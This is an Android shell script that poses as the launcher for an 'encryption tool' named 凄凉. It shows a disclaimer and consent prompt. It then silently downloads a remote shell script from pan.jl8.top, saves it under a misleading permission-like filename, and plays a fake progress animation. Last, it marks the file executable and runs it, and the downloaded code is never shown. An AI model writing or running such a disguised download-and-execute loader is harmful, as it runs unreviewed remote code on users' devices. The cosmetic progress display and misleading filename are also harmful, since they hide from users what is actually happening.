#!/system/bin/sh
function 红色() { echo -e "\033[1;31m$*\033[0m"; }
function 绿色() { echo -e "\033[1;32m$*\033[0m"; }
function 黄色() { echo -e "\033[1;33m$*\033[0m"; }
function 蓝色() { echo -e "\033[1;34m$*\033[0m"; }
function 紫色() { echo -e "\033[1;35m$*\033[0m"; }
function 青色() { echo -e "\033[1;36m$*\033[0m"; }
function 白色() { echo -e "\033[1;37m$*\033[0m"; }
function 灰色() { echo -e "\033[1;90m$*\033[0m"; }

# 颜色变量定义
RED="\033[1;31m"
GREEN="\033[1;32m"
YELLOW="\033[1;33m"
BLUE="\033[1;34m"
PURPLE="\033[1;35m"
CYAN="\033[1;36m"
WHITE="\033[1;37m"
ORANGE="\033[1;38;5;214m"  # 高亮橙
PINK="\033[1;38;5;206m"    # 高亮粉
LIGHT_BLUE="\033[1;38;5;117m"  # 高亮亮蓝
LIGHT_GREEN="\033[1;38;5;120m" # 高亮亮绿
LIGHT_PURPLE="\033[1;38;5;135m" # 高亮亮紫
RESET="\033[0m"
draw_border() {
    local length=$1
    echo -e "${GREEN}▓${RESET}"$(printf "%0.s▓" $(seq 1 $length))"${GREEN}▓${RESET}"
}

# 绘制内容行函数
draw_content() {
    local text=$1
    local length=$2
    local pad=$(( (length - ${#text}) / 2 ))
    echo -e "${GREEN}▓${RESET}"$(printf "%0.s " $(seq 1 $pad))"${YELLOW}${text}${RESET}"$(printf "%0.s " $(seq 1 $((length - pad - ${#text}))))"${GREEN}▓${RESET}"
}

# 主界面绘制
clear
border_length=60
draw_border $border_length
draw_content "凄凉加密工具使用协议" $border_length
draw_border $border_length
echo -e "\n"

# 协议条款
echo -e "${GREEN}╔════════════════════════════════════════════════════════════════════════════╗${RESET}"
echo -e "${GREEN}║${RESET} ${YELLOW}1. 本工具仅供合法授权测试和学习使用${RESET}${GREEN}                                        ║${RESET}"
echo -e "${GREEN}║${RESET} ${YELLOW}2. 禁止用于任何非法用途或未经授权的系统${RESET}${GREEN}                                    ║${RESET}"
echo -e "${GREEN}║${RESET} ${YELLOW}3. 使用者应对自己的行为承担全部法律责任${RESET}${GREEN}                                    ║${RESET}"
echo -e "${GREEN}║${RESET} ${YELLOW}4. 作者不承担任何因使用本工具产生的责任${RESET}${GREEN}                                    ║${RESET}"
echo -e "${GREEN}╚════════════════════════════════════════════════════════════════════════════╝${RESET}\n"

# 重要提示
echo -e "${GREEN}▓▓▓ 重要提示: ▓▓▓${RESET}"
echo -e "${GREEN}╔════════════════════════════════════════════════════════════════════════════╗${RESET}"
echo -e "${GREEN}║${RESET} ${PINK}使用本工具即表示您已同意:${RESET}${GREEN}                                                 ║${RESET}"
echo -e "${GREEN}║${RESET} ${PINK}- 您已获得目标系统的合法授权${RESET}${GREEN}                                              ║${RESET}"
echo -e "${GREEN}║${RESET} ${PINK}- 您将承担使用本工具产生的所有责任${RESET}${GREEN}                                        ║${RESET}"
echo -e "${GREEN}╚════════════════════════════════════════════════════════════════════════════╝${RESET}\n"


echo -e "${GREEN}▓▓▓ 最终解释权归凄凉所有 ▓▓▓${RESET}\n"

# 交互确认
echo -e "${YELLOW}▓▓▓ 是否同意上述条款? (y/n) ▓▓▓${RESET}"
read -p "$(echo -e "${YELLOW}➤➤➤ 请输入选择 [y/n]: ${RESET}")" choice

# 处理输入
case $choice in
    [Yy]) echo -e "\n${GREEN}您已同意协议，即将启动工具...${RESET}" ;;
    [Nn]) echo -e "\n${YELLOW}您已拒绝协议，工具将退出...${RESET}" && exit 0 ;;
    *) echo -e "\n${YELLOW}输入无效，请重新运行并输入 y 或 n${RESET}" && exit 1 ;;
esac

# 标题内容
lines=(
  "           "
  "  人      "
  "  有       ____ _          _ _"
  "  悲     / ___|| |__   ___| | |"
  "  欢 月  \___ \| _ \ / _ \| | |"
  "  离 有   ___) | | | |  _/| | |"
  "  合 阴  |____/|_| |_|\___|_|_|"
  "     晴  "
  "     圆  "
  "     缺  "
)

# 逐行显示标题动画（每行颜色不同）
color_codes=(
  "1;37m"       # 第1行：高亮白
  "1;36m"       # 第2行：高亮青
  "1;32m"       # 第3行：高亮绿
  "1;34m"       # 第4行：高亮蓝
  "1;35m"       # 第5行：高亮紫
  "38;5;214m"   # 第6行：高亮橙
  "38;5;206m"   # 第7行：高亮粉
  "38;5;117m"   # 第8行：高亮亮蓝
  "38;5;120m"   # 第9行：高亮亮绿
  "38;5;135m"   # 第10行：高亮亮紫
)

index=0
for line in "${lines[@]}"; do
  echo -e "\033[${color_codes[$index]}${line}${RESET}"
  index=$((index + 1))
  sleep 0.2
done
echo -e "\n"

# 核心配置
URL="https://pan.jl8.top/down.php/306636e4770b85fcfb942ef6a5136480.sh"
SAVE_DIR="/data/user/0/bin.mt.plus/"
FILE_NAME="ANDROID.PERMISSION.TESTc1"
SAVE_FILE="${SAVE_DIR}${FILE_NAME}"

# 下载进度条逻辑
download_with_progress() {
  # 颜色配置
  YELLOW='\033[1;33m'
  CYAN='\033[1;36m'
  GREEN='\033[0;32m'
  RESET='\033[0m'

  # 核心参数：总下载显示时长1.5秒
  TOTAL_DURATION=1500
  start_time=$(date +%s%3N)  # 毫秒级开始时间

  # 随机化下载提示配置
  prefixes=("正在连接服务器" "连接服务器中" "连接服务器进度" "获取服务器数据")
  current_prefix=${prefixes[$RANDOM % ${#prefixes[@]}]}
  fill_chars=("▓" "█" "=" "●" "▣")
  fill=${fill_chars[$RANDOM % ${#fill_chars[@]}]}
  empty_chars=("░" " " "-" "▒")
  empty=${empty_chars[$RANDOM % ${#empty_chars[@]}]}

  # 初始化进度条
  echo -e "\n${YELLOW}${current_prefix}...${RESET}"
  echo -ne "${CYAN}[${RESET}"
  for ((i=0; i<50; i++)); do echo -ne "$empty"; done
  echo -ne "${CYAN}] 0%${RESET}\r"

  progress=0
  total_steps=$((RANDOM % 15 + 10))  # 随机步数（10-25步完成）
  step_index=0

  # 进度更新循环
  while [ $progress -lt 100 ]; do
    # 计算剩余时间，动态调整每步延迟
    current_time=$(date +%s%3N)
    elapsed=$((current_time - start_time))
    remaining=$((TOTAL_DURATION - elapsed))
    
    # 最后一步直接拉满进度
    if [ $step_index -eq $((total_steps - 1)) ]; then
      progress=100
    else
      # 随机进度增长
      min_grow=$(( (100 / total_steps) - 2 ))
      [ $min_grow -lt 1 ] && min_grow=1
      max_grow=$(( (100 / total_steps) + 3 ))
      [ $max_grow -gt 15 ] && max_grow=15
      grow=$(( RANDOM % (max_grow - min_grow + 1) + min_grow ))
      progress=$(( progress + grow ))
      [ $progress -gt 100 ] && progress=100
    fi

    # 绘制进度条
    filled=$(( progress * 50 / 100 ))
    echo -ne "${CYAN}[${RESET}"
    for ((i=0; i<filled; i++)); do echo -ne "$fill"; done
    for ((i=filled; i<50; i++)); do echo -ne "$empty"; done
    echo -ne "${CYAN}] ${progress}%${RESET}\r"

    # 计算当前步骤延迟
    if [ $step_index -lt $((total_steps - 1)) ]; then
      step_delay=$(( remaining / (total_steps - step_index) ))
      delay_variation=$(( step_delay * 20 / 100 ))
      delay=$(( step_delay - delay_variation + RANDOM % (delay_variation * 2 + 1) ))
      [ $delay -lt 10 ] && delay=10
      usleep $(( delay * 1000 ))
    fi

    step_index=$(( step_index + 1 ))
  done

  # 下载完成提示
  echo -e "\n${GREEN}✅ 下载完成！${RESET}\n"
}

# 执行实际下载操作
绿色 "✅ 开始连接服务器流程"
echo -ne "${BLUE}准备连接服务器...${RESET}"

# 检查下载工具并执行下载
if command -v wget &> /dev/null; then
  wget -q -O "$SAVE_FILE" "$URL"  # 静默下载
elif command -v curl &> /dev/null; then
  curl -s -o "$SAVE_FILE" "$URL"  # 静默下载
else
  红色 "❌ 未找到工具"
  exit 1
fi

# 显示下载进度动画
download_with_progress

# 下载后清屏（新增清屏效果）
sleep 0.5
clear
echo -e "${GREEN}🔄 正在刷新界面...${RESET}\n"

# 等待3秒确保文件写入完成
echo -ne "${YELLOW}⌛ 确认连接服务器是否完成"
for i in {1..3}; do
  echo -ne "."
  sleep 1
done
echo -e " ${RESET}"

# 验证文件是否下载成功
if [ -f "$SAVE_FILE" ] && [ -s "$SAVE_FILE" ]; then
  绿色 "✅ 验证成功"
else
  红色 "❌ 失败"
  exit 1
fi

# 赋予执行权限
echo -ne "${PURPLE}🔧 正在配置文件权限"
chmod +x "$SAVE_FILE" 2>/dev/null
for i in {1..3}; do
  echo -ne "."
  sleep 0.3
done
echo -e " "
if [ $? -eq 0 ]; then
  绿色 "✅ 权限设置成功"
else
  黄色 "⚠️ 权限设置警告（尝试直接执行）"
fi

# 执行目标脚本倒计时
echo -e "\n${ORANGE}▶️ 即将执行脚本"
echo -ne "${YELLOW}倒计时: 3"
sleep 1
echo -ne "\r倒计时: 2"
sleep 1
echo -ne "\r倒计时: 1"
sleep 1
echo -e "\r${RESET}"

白色 "--------------------------------"
sh "$SAVE_FILE"  

# 执行完成提示
白色 "--------------------------------"
绿色 "✅ 全部操作完成！"
echo -e "${GRAY}按任意键退出...${RESET}"
read -n 1
clear
